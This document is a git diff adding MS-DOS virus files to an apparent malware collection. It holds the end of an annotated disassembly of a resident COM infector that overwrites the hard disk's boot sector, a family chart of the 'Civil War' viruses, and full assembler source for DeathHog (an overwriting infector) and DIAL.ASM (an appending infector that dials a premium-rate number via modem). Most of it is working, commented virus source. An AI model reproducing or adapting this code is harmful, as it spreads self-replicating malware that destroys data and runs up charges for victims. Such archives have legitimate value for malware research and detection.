destination +0C1F F3 REPZ +0C20 A4 MOVSB ; move +0C21 5E POP SI ; restore virus base address + +0C22 E81300 CALL 0C38 ; check presence of resident part +0C25 7306 JAE 0C2D ; return to aplication + +0C27 E86503 CALL 0F8F ; infect one file in current directory +0C2A E82A00 CALL 0C57 ; instal resident part + +; return to aplication + +0C2D B80001 MOV AX,0100 ; return address +0C30 50 PUSH AX +0C31 8CC8 MOV AX,CS +0C33 8ED8 MOV DS,AX +0C35 8EC0 MOV ES,AX +0C37 C3 RET ; jump to aplication + +;--------------------------- +; is resident part active? + +0C38 06 PUSH ES +0C39 B82135 MOV AX,3521 ; get INT 21h vector +0C3C CD21 INT 21 + +0C3E 26 ES: +0C3F 807FFD44 CMP BYTE PTR [BX-03],44 ; 'D' +0C43 750F JNZ 0C54 ; no, exit with carry and NZ + +0C45 26 ES: +0C46 807FFE72 CMP BYTE PTR [BX-02],72 ; 'r' +0C4A 7508 JNZ 0C54 ; no, exit with carry and NZ + +0C4C 26 ES: +0C4D 807FFF6B CMP BYTE PTR [BX-01],6B ; 'k' +0C51 07 POP ES +0C52 F8 CLC ; exit with no carry and Z or NZ +0C53 C3 RET + +0C54 07 POP ES +0C55 F9 STC +0C56 C3 RET + +;---------------------- +; instal resident part + +0C57 B8004A MOV AX,4A00 ; change size of allocated memory +0C5A BB0010 MOV BX,1000 ; to 64 Kb (size in paragraphs) +0C5D 0E PUSH CS +0C5E 1F POP DS +0C5F CD21 INT 21 + +0C61 B80048 MOV AX,4800 ; allocate memory +0C64 BB4C00 MOV BX,004C ; requested size (1216 bytes) +0C67 CD21 INT 21 + +0C69 FC CLD +0C6A 8EC0 MOV ES,AX ; segment of allocated block +0C6C 56 PUSH SI ; store SI +0C6D 8BDE MOV BX,SI ; virus base +0C6F BF0301 MOV DI,0103 ; destination +0C72 B9AD03 MOV CX,03AD ; virus size (941) +0C75 F3 REPZ +0C76 A4 MOVSB ; move to new place + +; first 103 bytes of allocated block serve for virus working area + +0C77 26 ES: +0C78 C70600000301 MOV WORD PTR [0000],0103 ; virus base in moved code + +0C7E 5E POP SI ; restore SI (virus base) +0C7F 1E PUSH DS ; store current DS +0C80 06 PUSH ES ; store virus ES +0C81 8CC0 MOV AX,ES +0C83 48 DEC AX ; segment of MCB +0C84 8EC0 MOV ES,AX +0C86 26 ES: +0C87 C70601000600 MOV WORD PTR [0001],0006 ; paragraph of block owner + +0C8D 07 POP ES ; restore virus ES +0C8E 8CC0 MOV AX,ES ; set DS to new virus segment +0C90 8ED8 MOV DS,AX +0C92 B82135 MOV AX,3521 ; get INT 21h +0C95 CD21 INT 21 + +0C97 891E0200 MOV [0002],BX ; store INT 21h +0C9B 8C060400 MOV [0004],ES +0C9F BA9B03 MOV DX,039B ; offset of new handler (here 0EA4h) +0CA2 B82125 MOV AX,2521 ; set INT 21h +0CA5 CD21 INT 21 + +0CA7 B80935 MOV AX,3509 ; get INT 09h +0CAA CD21 INT 21 + +0CAC 891E0600 MOV [0006],BX ; store it +0CB0 8C060800 MOV [0008],ES + +0CB4 C70620000000 MOV WORD PTR [0020],0000 ; reset Alt keystroke counter +0CBA C606150000 MOV BYTE PTR [0015],00 ; reset flag ?? + +0CBF B80925 MOV AX,2509 ; set INT 09h (keyboard) +0CC2 BAC001 MOV DX,01C0 ; offset of new handler (here 0CC9) +0CC5 CD21 INT 21 + +0CC7 1F POP DS ; restore carrier DS +0CC8 C3 RET + +;----------------------------- +; INT 09h handler (keyboard) + +0CC9 CC INT 3 : ?? destroyed by some debugger ?? +0CCA FB STI +0CCB 50 PUSH AX ; store AX +0CCC 1E PUSH DS ; and DS +0CCD 33C0 XOR AX,AX ; set DS to 0 +0CCF 8ED8 MOV DS,AX +0CD1 A01704 MOV AL,[0417] ; BIOS, shift status +0CD4 2408 AND AL,08 ; extract Alt key +0CD6 3C08 CMP AL,08 ; is active? +0CD8 7503 JNZ 0CDD ; not presed + +0CDA E98300 JMP 0D60 ; check for Del key + +0CDD 2E CS: +0CDE FF062000 INC WORD PTR [0020] ; keystroke counter +0CE2 2E CS: +0CE3 803E150001 CMP BYTE PTR [0015],01 ; ?? flag ?? +0CE8 740B JZ 0CF5 + +0CEA 2E CS: +0CEB 833E20000A CMP WORD PTR [0020],+0A ; exactly 10 keys were presed? +0CF0 7403 JZ 0CF5 ; yes + +; exit + +0CF2 EB64 JMP 0D58 ; exit to true INT 9 +0CF4 90 NOP + +; exactly ten keys has been presed or flag [0015] has been set +; change attribute at curent cursor position + +0CF5 52 PUSH DX +0CF6 56 PUSH SI +0CF7 53 PUSH BX +0CF8 06 PUSH ES +0CF9 51 PUSH CX +0CFA BE0301 MOV SI,0103 ; virus base +0CFD 81C62202 ADD SI,0222 ; encrypted part of code (here 0E2Eh) +0D01 2E CS: +0D02 C606150001 MOV BYTE PTR [0015],01 ; set flag +0D07 2E CS: +0D08 8B1E2B03 MOV BX,[032B] ; (here 0E34h) +0D0C 2E CS: +0D0D FF062B03 INC WORD PTR [032B] ; increase attribute counter +0D11 81FB2B03 CMP BX,032B +0D15 7302 JAE 0D19 ; skip counter reset + +0D17 EB0A JMP 0D23 + +0D19 2E CS: +0D1A C7062B032503 MOV WORD PTR [032B],0325 ; reset counter +0D20 BB2503 MOV BX,0325 ; set BX to new value + +0D23 CD11 INT 11 ; equipment list + +0D25 2430 AND AL,30 ; video monitor +0D27 3D3000 CMP AX,0030 ; monochrome +0D2A 7505 JNZ 0D31 ; no + +; mistake! + +0D2C B800B8 MOV AX,B800 ; should be B000 +0D2F EB03 JMP 0D34 + +0D31 B800B8 MOV AX,B800 ; segment of video RAM + +0D34 8EC0 MOV ES,AX ; initialize ES (video RAM) +0D36 2E CS: +0D37 8A07 MOV AL,[BX] ; number between 09 .. 0E +0D39 50 PUSH AX + +; find screen address of current cursor position + +0D3A A15004 MOV AX,[0450] ; (DS = 0) get current cursor position +0D3D 86E0 XCHG AL,AH ; swap column, row +0D3F 8ADC MOV BL,AH ; row +0D41 32E4 XOR AH,AH ; AX := row +0D43 32FF XOR BH,BH ; BX := column +0D45 B9A000 MOV CX,00A0 ; 160, length of one line +0D48 F7E1 MUL CX +0D4A D1E3 SHL BX,1 ; mulitply by 2 +0D4C 03D8 ADD BX,AX + +0D4E 43 INC BX ; attribute field +0D4F 58 POP AX ; restore choosen attribute +0D50 26 ES: +0D51 8807 MOV [BX],AL ; put it on the screen + +; exit + +0D53 59 POP CX +0D54 07 POP ES +0D55 5B POP BX +0D56 5E POP SI +0D57 5A POP DX + +0D58 1F POP DS +0D59 58 POP AX +0D5A FA CLI +0D5B 2E CS: +0D5C FF2E0600 JMP FAR [0006] ; true INT 9 + +; Alt key is presed + +0D60 E460 IN AL,60 ; read keyboard scan code +0D62 3C53 CMP AL,53 ; Del? +0D64 7407 JZ 0D6D ; yes, procede + +; exit to true INT 9 + +0D66 1F POP DS +0D67 58 POP AX +0D68 2E CS: +0D69 FF2E0600 JMP FAR [0006] + +; Alt + Del service + +0D6D CD11 INT 11 ; equipment list + +; again mistake! Decimaly 48 is 30 in hex + +0D6F 254800 AND AX,0048 ; ?? +0D72 3D4800 CMP AX,0048 ; ?? +0D75 7505 JNZ 0D7C + +; in hex 0048 meant system with 2 disketts (bit 40) and bit 8 is reserved +; (on PC, XT and Jr it and bit 4 reflect size of RAM on system board in 16 K) +; so probably AX and 48 almost always will be equol 48. + +0D77 B800B0 MOV AX,B000 ; monochrome +0D7A EB03 JMP 0D7F + +0D7C B800B8 MOV AX,B800 ; other + +0D7F 8EC0 MOV ES,AX ; initial ES to video segment +0D81 8CC8 MOV AX,CS ; restore DS +0D83 8ED8 MOV DS,AX +0D85 33FF XOR DI,DI ; clear screen location pointer +0D87 B407 MOV AH,07 ; attribute +0D89 B0B1 MOV AL,B1 ; chracter (177) +0D8B B9D007 MOV CX,07D0 ; size of screen +0D8E F3 REPZ +0D8F AB STOSW ; fill screen with box character + +; display first part of mesage: Have you ever danced ... + +0D90 BF4A06 MOV DI,064A ; offset of column 10, row 10 +0D93 BE3103 MOV SI,0331 ; offset of message + +0D96 AC LODSB ; get next character +0D97 2C80 SUB AL,80 ; decrypt +0D99 0AC0 OR AL,AL ; end of string? +0D9B 740D JZ 0DAA ; yes + +0D9D B40F MOV AH,0F ; attribute +0D9F AB STOSW ; put on screen +0DA0 B900A0 MOV CX,A000 ; constant for pause + +0DA3 050100 ADD AX,0001 ; small pause +0DA6 E2FB LOOP 0DA3 + +0DA8 EBEC JMP 0D96 ; disply next character + +; display next message: Pray for your disk! + +0DAA BF7008 MOV DI,0870 ; row 13, column 40 +0DAD BE7703 MOV SI,0377 +0DB0 AC LODSB + +0DB1 2C80 SUB AL,80 +0DB3 0AC0 OR AL,AL +0DB5 740D JZ 0DC4 + +0DB7 B40F MOV AH,0F +0DB9 AB STOSW + +0DBA B900A0 MOV CX,A000 + +0DBD 050100 ADD AX,0001 +0DC0 E2FB LOOP 0DBD + +0DC2 EBEC JMP 0DB0 + +; disply third part of message, The_Jocker... + +0DC4 BFB009 MOV DI,09B0 ; row 15, column 40 +0DC7 BE8B03 MOV SI,038B + +0DCA AC LODSB +0DCB 2C80 SUB AL,80 ; decrypt +0DCD 0AC0 OR AL,AL ; end of string? +0DCF 740D JZ 0DDE ; yes + +0DD1 B40F MOV AH,0F ; attribute +0DD3 AB STOSW + +0DD4 B900A0 MOV CX,A000 ; time constant + +0DD7 050100 ADD AX,0001 ; small pause +0DDA E2FB LOOP 0DD7 + +0DDC EBEC JMP 0DCA ; get next character + +; diplay the rest: Ha Ha Ha ... + +0DDE BA1E00 MOV DX,001E ; starting column (15) +0DE1 B90A00 MOV CX,000A ; counter + +0DE4 51 PUSH CX +0DE5 BF400B MOV DI,0B40 ; row 18, column 1 +0DE8 52 PUSH DX +0DE9 D1E2 SHL DX,1 ; DX := 3C +0DEB 03FA ADD DI,DX ; move coursor 30 characters right +0DED 5A POP DX +0DEE BE2D03 MOV SI,032D ; offset of 'Ha ',0 + +0DF1 AC LODSB ; get next character +0DF2 2C80 SUB AL,80 ; decrypt +0DF4 0AC0 OR AL,AL ; end of string +0DF6 740D JZ 0E05 ; yes + +0DF8 B40F MOV AH,0F ; attribute +0DFA AB STOSW ; display + +0DFB B900A0 MOV CX,A000 ; time constant + +0DFE 050100 ADD AX,0001 ; small pause +0E01 E2FB LOOP 0DFE + +0E03 EBEC JMP 0DF1 ; get next character + +0E05 83C203 ADD DX,+03 ; move cursor 3 positions right +0E08 59 POP CX ; restore counter +0E09 E2D9 LOOP 0DE4 + +0E0B B020 MOV AL,20 ; enable hardware interrupts +0E0D E620 OUT 20,AL + +0E0F 2E CS: +0E10 813E20008813 CMP WORD PTR [0020],1388 ; 5000 keystrokes +0E16 7305 JAE 0E1D ; perform destruction + +0E18 EAF0FF00F0 JMP F000:FFF0 ; cold reset + +0E1D B80000 MOV AX,0000 ; reset disk +0E20 CD13 INT 13 + +; overwrite Master Boot Sector of first hard drive + +0E22 B80103 MOV AX,0301 ; write one sector +0E25 33C9 XOR CX,CX +0E27 41 INC CX ; track 0, sector 1 +0E28 33D2 XOR DX,DX ; head 0 +0E2A B280 MOV DL,80 ; first hard drive +0E2C CD13 INT 13 + +; after destruction computer will crush trying execute working area bytes + +;-------------- +; working area + +0E2E 09 0A 0B 0C 0D 0E ; [0325],... set of attributes to put onto screen +0E34 26 03 ; counter, points at one out of six above bytes + +; encrypted ASCIIZ strings (to any character 80h is added) + +0E36 C8 E1 A0 80 ; encrypted 'Ha ',0 + +0E3A C8 E1 F6 E5 A0 F9 Have y +0E40 EF F5 A0 E5 F6 E5 F2 A0 E4 E1 EE E3 E5 E4 A0 F7 ou ever danced w +0E50 E9 F4 E8 A0 F4 E8 E5 A0 E4 E5 F6 E9 EC A0 F5 EE ith the devil un +0E60 E4 E5 F2 A0 F4 E8 E5 A0 F7 E5 E1 EB A0 EC E9 E7 der the weak lig +0E70 E8 F4 A0 EF E6 A0 F4 E8 E5 A0 ED EF EF EE BF 80 ht of the moon?. + +0E80 D0 F2 E1 F9 A0 E6 EF F2 A0 F9 EF F5 F2 A0 E4 E9 Pray for your di +0E90 F3 EB A1 80 sk!. + +0E94 D4 E8 E5 DF CA EF EB E5 F2 AE AE AE 80 The_Joker.... + +0EA1 44 72 6B ; signature of virus resident part: 'Drk' + +;----------------------------- +; new INT 21h handler + +0EA4 9C PUSHF +0EA5 3D004B CMP AX,4B00 ; Load and execute +0EA8 7420 JZ 0ECA + +0EAA 80FC49 CMP AH,49 ; free allocated memory +0EAD 7403 JZ 0EB2 + +0EAF EB13 JMP 0EC4 ; exit to old INT 21h +0EB1 90 NOP + +; free allocated memory service + +0EB2 50 PUSH AX +0EB3 53 PUSH BX +0EB4 8CC8 MOV AX,CS ; compare requested block with +0EB6 8CC3 MOV BX,ES ; block actualy ocupied by virus +0EB8 3BD8 CMP BX,AX +0EBA 5B POP BX +0EBB 58 POP AX +0EBC 7506 JNZ 0EC4 ; blocks are different, exit + +0EBE F8 CLC ; clear carry (no error!) +0EBF 8CC0 MOV AX,ES ; put own segment into AX +0EC1 CA0200 RETF 0002 + +; exit to old INT 21h + +0EC4 9D POPF +0EC5 2E CS: +0EC6 FF2E0200 JMP FAR [0002] + +; load and execute service + +0ECA 55 PUSH BP +0ECB 50 PUSH AX +0ECC 53 PUSH BX +0ECD 51 PUSH CX +0ECE 52 PUSH DX +0ECF 1E PUSH DS +0ED0 06 PUSH ES +0ED1 56 PUSH SI +0ED2 57 PUSH DI + +0ED3 FC CLD +0ED4 8BF2 MOV SI,DX ; ASCIIZ file name + +0ED6 AC LODSB ; find end of file name +0ED7 0AC0 OR AL,AL ; end of string? +0ED9 7402 JZ 0EDD ; yes + +0EDB EBF9 JMP 0ED6 ; get next character + +0EDD 83EE04 SUB SI,+04 ; point at first char of extension +0EE0 803C43 CMP BYTE PTR [SI],43 ; 'C' is it COM file +0EE3 7502 JNZ 0EE7 ; maybe lower case? + +0EE5 7405 JZ 0EEC ; infect + +0EE7 803C63 CMP BYTE PTR [SI],63 ; 'c' +0EEA 752B JNZ 0F17 ; exit + +; prepare infection + +0EEC B42F MOV AH,2F ; get DTA +0EEE CD21 INT 21 + +0EF0 06 PUSH ES +0EF1 53 PUSH BX +0EF2 52 PUSH DX +0EF3 1E PUSH DS +0EF4 0E PUSH CS +0EF5 1F POP DS +0EF6 BA8000 MOV DX,0080 ; offset of local DTA +0EF9 B41A MOV AH,1A ; set DTA +0EFB CD21 INT 21 + +; get date of loaded file into local DTA + +0EFD 1F POP DS +0EFE 5A POP DX ; offset of file name +0EFF B44E MOV AH,4E ; find first +0F01 B92300 MOV CX,0023 ; attributes: Subdir, Hiden, Read Only +0F04 CD21 INT 21 + +0F06 8CC8 MOV AX,CS +0F08 8ED8 MOV DS,AX +0F0A 8B360000 MOV SI,[0000] + +0F0E E81500 CALL 0F26 ; infect file + +0F11 5A POP DX +0F12 1F POP DS +0F13 B41A MOV AH,1A ; restore DTA +0F15 CD21 INT 21 + +0F17 5F POP DI +0F18 5E POP SI +0F19 07 POP ES +0F1A 1F POP DS +0F1B 5A POP DX +0F1C 59 POP CX +0F1D 5B POP BX +0F1E 58 POP AX +0F1F 5D POP BP +0F20 9D POPF +0F21 2E CS: +0F22 FF2E0200 JMP FAR [0002] ; exit to old INT 21h + +;------------- +; infect file + +0F26 33C9 XOR CX,CX ; clear all attributes +0F28 B80143 MOV AX,4301 ; set attributes +0F2B BA9E00 MOV DX,009E ; fille name (in carrier DTA!) +0F2E 33C9 XOR CX,CX ; ?? again ?? +0F30 CD21 INT 21 + +0F32 B8023D MOV AX,3D02 ; open file for read/write +0F35 BA9E00 MOV DX,009E ; file name +0F38 CD21 INT 21 + +0F3A 8BD8 MOV BX,AX ; store handle +0F3C 7301 JAE 0F3F ; no error + +0F3E C3 RET + +0F3F B43F MOV AH,3F ; read file +0F41 B90300 MOV CX,0003 ; 3 bytes +0F44 8BD6 MOV DX,SI ; virus base +0F46 81C2A703 ADD DX,03A7 ; buffer for oryginal 3 bytes +0F4A CD21 INT 21 + +0F4C 7305 JAE 0F53 ; no error + +0F4E B43E MOV AH,3E ; close file +0F50 CD21 INT 21 + +0F52 C3 RET + +0F53 B80042 MOV AX,4200 ; move file pointer +0F56 33C9 XOR CX,CX ; at the beginning +0F58 8BD1 MOV DX,CX ; of file +0F5A CD21 INT 21 + +0F5C A19A00 MOV AX,[009A] ; get file length +0F5F 2D0300 SUB AX,0003 ; sub first 3 bytes +0F62 2E CS: +0F63 8984AB03 MOV [SI+03AB],AX ; size of block to write +0F67 8BD6 MOV DX,SI +0F69 81C2AA03 ADD DX,03AA +0F6D B440 MOV AH,40 ; write to file +0F6F B90300 MOV CX,0003 ; new first 3 bytes +0F72 CD21 INT 21 + +0F74 7302 JAE 0F78 ; continue + +0F76 EBD6 JMP 0F4E ; error, exit + +0F78 B80242 MOV AX,4202 ; move file pointer +0F7B 33C9 XOR CX,CX ; at the end +0F7D 8BD1 MOV DX,CX ; of file +0F7F CD21 INT 21 + +0F81 B440 MOV AH,40 ; write file +0F83 B9AD03 MOV CX,03AD ; number of bytes (941) +0F86 8BD6 MOV DX,SI ; address of virus first byte +0F88 CD21 INT 21 + +0F8A B43E MOV AH,3E ; close file +0F8C CD21 INT 21 + +0F8E C3 RET + +;---------------------------------------------- +; find file in current directory and infect it + +0F8F B44E MOV AH,4E ; find first +0F91 B92300 MOV CX,0023 ; attributes: Archive, Hiden, Read Only +0F94 8BD6 MOV DX,SI +0F96 81C2A103 ADD DX,03A1 ; file name: *.COM +0F9A CD21 INT 21 + +0F9C 7303 JAE 0FA1 ; infect + +0F9E EB0C JMP 0FAC ; RET +0FA0 90 NOP + +0FA1 E882FF CALL 0F26 ; infect + +0FA4 B44F MOV AH,4F ; find next +0FA6 CD21 INT 21 +0FA8 7202 JB 0FAC ; RET + +0FAA EBF5 JMP 0FA1 ; infect + +0FAC C3 RET + + +0FAD 2A 2E 63 6F 6D 00 ; *.COM, 0 +0FB3 E9 5C 07 ; oryginal 3 bytes of carrier COM file + +; end of infected file +;---------------------- + diff --git a/MSDOS/Virus.MSDOS.Unknown.dhcivwar.txt b/MSDOS/Virus.MSDOS.Unknown.dhcivwar.txt new file mode 100644 index 00000000..7a0dfb3d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dhcivwar.txt @@ -0,0 +1,67 @@ + +Relationchart of the Civil War and related viruses, (c) 1993 by TridenT. + +Below you find the relation chart of the Civil War based viruses. +This is the only correct relationchart, don't trust the +information you may find in VSUM, F-Prot etc. or the CARO naming +because they contains a lot of errors + +Greetings, DH / TridenT + +------------------------------------------------------------------------------ + +Civil War + | + +--> Civil War II v1.0 --> Proto-T --> Lockjaw Eins + | | | + | | +--> Lockjaw Zwei + | | | + | | +--> Lockjaw Drei + | | + | +--> Civil War II v1.1 --> Civil War III + | | + | +--> Civil War V + | + +--> Civil War IV v1.0 + | + +--> Civil War IV v1.1 + | + +-> Civil War IV v1.2 + | + +--> Civil War IV v1.3 + + + + +Original Name CARO Name +------------------------------------------------------------------------------ +Civil War Civil War +Civil War II v1.0 Proto-T.Civil_War_II +Civil War II v1.1 - +Civil War III - +Civil War IV v1.0 TPE_1_3.Civil_War.A +Civil War IV v1.1 TPE_1_3.Civil_War.B +Civil War IV v1.2 - +Civil War IV v1.3 - +Civil War V TPE_1_3.Civil_War.C +------------------------------------------------------------------------------ + + R C E P + -------- +Civil War . x . . +Civil War II v1.0 x x . . +Civil War II v1.1 x x . . +Civil War III x x x . +Civil War IV v1.0 . x . x +Civil War IV v1.1 . x . x +Civil War IV v1.1 . x . x +Civil War IV v1.2 . x . x +Civil War IV v1.3 . x . x +Civil War V x x . x + + +Code : R = Resident + C = Infect COM files + E = Infect EXE files + P = Polymorpic + diff --git a/MSDOS/Virus.MSDOS.Unknown.dhog.asm b/MSDOS/Virus.MSDOS.Unknown.dhog.asm new file mode 100644 index 00000000..085f54c1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dhog.asm @@ -0,0 +1,64 @@ +; DeathHog, (will defeat read-only files and appends itself to all +; files) +; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ +; r/w access, nuisance routines supplied by KOUCH +; +; Appended by Kouch, derived from DeathCow/Define (author unknown) + + +virus_length equ finish - start + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +start label near + +main proc near + mov ah,04Eh ; DOS find first file function + mov dx,offset file_spec ; DX points to "*.*" - any file + int 021h + +infect_file : mov ah,43H ;the beginning of this + mov al,0 ;routine gets the file's + mov dx,09Eh ;attribute and changes it + int 21H ;to r/w access so that when + ;it comes time to open the + mov ah,43H ;file, the virus can easily + mov al,1 ;defeat files with a 'read only' + mov dx,09Eh ;attribute. It leaves the file r/w, + mov cl,0 ;because who checks that, anyway? + int 21H + + mov ax,03D01h ; DOS open file function, write-only + mov dx,09Eh ; DX points to the found file + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cl,virus_length ; CL holds # of bytes to write + mov dx,offset main ; DX points to start of code + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ah,04Fh ; DOS find next file function + int 021h + jnc infect_file ; Infect next file, if found + + mov ah,31h ;insert 480K memory balloon + mov dx,7530h ;for nuisance value + int 21H ;it's big enough so 'out of + ;memory' messages will start cropping up quickly + ; RETurn to DOS + +file_spec db "*.*",0 ; Files to infect: apped to all files +main endp + +finish label near + + code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.dial.asm b/MSDOS/Virus.MSDOS.Unknown.dial.asm new file mode 100644 index 00000000..13dbf71e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dial.asm @@ -0,0 +1,319 @@ +; DIAL.ASM -- HorneyMan +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Frankenchrist + +virus_type equ 0 ; Appending Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + mov cx,0004h ; Do 4 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_hour + cmp ax,0004h ; Did the function return 4? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + xor dx,dx ; Clear DX + call serial_string + lea si,[di + data01] ; SI points to data + mov dx,0001h ; Second argument is 1 + call serial_string + lea si,[di + data02] ; SI points to data + mov dx,0002h ; Second argument is 2 + call serial_string + lea si,[di + data03] ; SI points to data + mov dx,0003h ; Second argument is 3 + call serial_string +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + start] ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +serial_string proc near + mov ax,0000000001000011b ; BIOS init. serial port + int 014h ; (300 baud, N, 8, 1) +serial_loop: mov ah,1 ; BIOS send character function + lodsb ; Load next character into AL + or al,al ; Is it a NULL? + je serial_done ; If so then exit + int 014h ; Transmit the character + jmp short serial_loop ; Loop until string terminates +serial_done: + ret ; Return to caller +serial_string endp + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +data00 db "AT&FM0L0DT19008201110",13,10,0 + +data01 db "AT&FM0L0DT19008201110",13,10,0 + +data02 db "AT&FM0L0DT19008201110",13,10,0 + +data03 db "AT&FM0L0DT19008201110",13,10,0 + + +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff 